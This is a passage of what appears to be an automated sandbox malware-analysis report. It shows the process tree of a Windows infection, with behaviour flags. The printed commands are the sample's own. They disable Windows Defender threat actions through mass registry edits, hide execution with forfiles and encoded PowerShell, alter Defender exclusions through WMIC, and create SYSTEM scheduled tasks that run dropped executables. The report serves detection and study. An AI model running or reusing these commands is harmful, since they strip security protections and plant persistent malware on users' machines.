\"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                        • Drops file in System32 directory
                                                                                                                                                                                                                                                                                                        • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                        PID:6044
                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                          "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                            PID:5276
                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                PID:5228
                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                PID:2904
                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                  PID:5504
                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                    PID:5244
                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                      PID:5360
                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                        PID:1444
                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                          PID:1960
                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                            PID:5336
                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                              PID:4356
                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                PID:1128
                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                  PID:6040
                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                    PID:1704
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                      PID:2428
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                        PID:1132
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                          PID:5892
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                            PID:3420
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                              PID:404
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                PID:5896
                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                  PID:5952
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                    PID:5136
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                      PID:2884
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                        PID:2656
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                          PID:6028
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                            PID:5832
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                              PID:2984
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                PID:5828
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:5568
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:5000
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                  schtasks /CREATE /TN "XyyyteIMwZeutaZuw" /SC once /ST 00:35:48 /RU "SYSTEM" /TR "\"C:\Windows\Temp\WPGfhLqOzAIwKSwi\CKEIBaXuklpWnmi\BOjWjPK.exe\" GH /yEcjdidiB 385118 /S" /V1 /F
                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                  • Drops file in Windows directory
                                                                                                                                                                                                                                                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                  PID:3556
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                  schtasks /run /I /tn "XyyyteIMwZeutaZuw"
                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:5728
                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe
                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe
                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                                                                                                                                                                                                                                                                                                  • Checks BIOS information in registry
                                                                                                                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                  • Identifies Wine through registry keys
                                                                                                                                                                                                                                                                                                                                                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                                                                                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                                                                                  PID:5832
                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\1000088001\NewB.exe
                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\1000088001\NewB.exe
                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                  PID:6036
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:660
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                                                                                    PID:5820
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:5704
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\gpupdate.exe
                                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:3096
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\gpscript.exe
                                                                                                                                                                                                                                                                                                                                                                        gpscript.exe /RefreshSystemParam
                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:5832
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\Temp\WPGfhLqOzAIwKSwi\CKEIBaXuklpWnmi\nPaSoab.exe
                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\Temp\WPGfhLqOzAIwKSwi\CKEIBaXuklpWnmi\nPaSoab.exe GH /LjtUdidlN 385118 /S
                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                          • Checks computer location settings
                                                                                                                                                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                          • Drops Chrome extension
                                                                                                                                                                                                                                                                                                                                                                          • Drops desktop.ini file(s)
                                                                                                                                                                                                                                                                                                                                                                          • Drops file in System32 directory
                                                                                                                                                                                                                                                                                                                                                                          • Drops file in Program Files directory
                                                                                                                                                                                                                                                                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                                                                                                          PID:5436
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                              PID:3088
                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                                                                                                                forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                  PID:1460
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                      PID:4920
                                                                                                                                                                                                                                                                                                                                                                                      • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                                                                                                                          PID:5548
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                                                                                                                      forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                        PID:5636
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                          /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                            PID:5660
                                                                                                                                                                                                                                                                                                                                                                                            • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                                                                                                                                                                PID:5620
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                                                                                                                            forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                              PID:5536
                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                  PID:5356
                                                                                                                                                                                                                                                                                                                                                                                                  • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                                                                                                                                      PID:5268
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                                                                                                                                  forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                    PID:5524
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                        PID:5580
                                                                                                                                                                                                                                                                                                                                                                                                        • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                                                                                                                                                            PID:5612
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                                                                                                                                        forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                          PID:5700
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                            /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                                              PID:2780
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                                                                powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                                                                                • Drops file in System32 directory
                                                                                                                                                                                                                                                                                                                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                                                                                                                                                PID:2064
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\gpupdate.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:3808
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                            schtasks /DELETE /F /TN "bbmnnUCIPYyTQrzMQJ"
                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                              PID:996
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                PID:1560
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5228
                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                                                                                                                                                    forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5540
                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5620
                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                                                                            powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                                                                                            • Drops file in System32 directory
                                                                                                                                                                                                                                                                                                                                                                                                                            • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5500
                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1128
                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
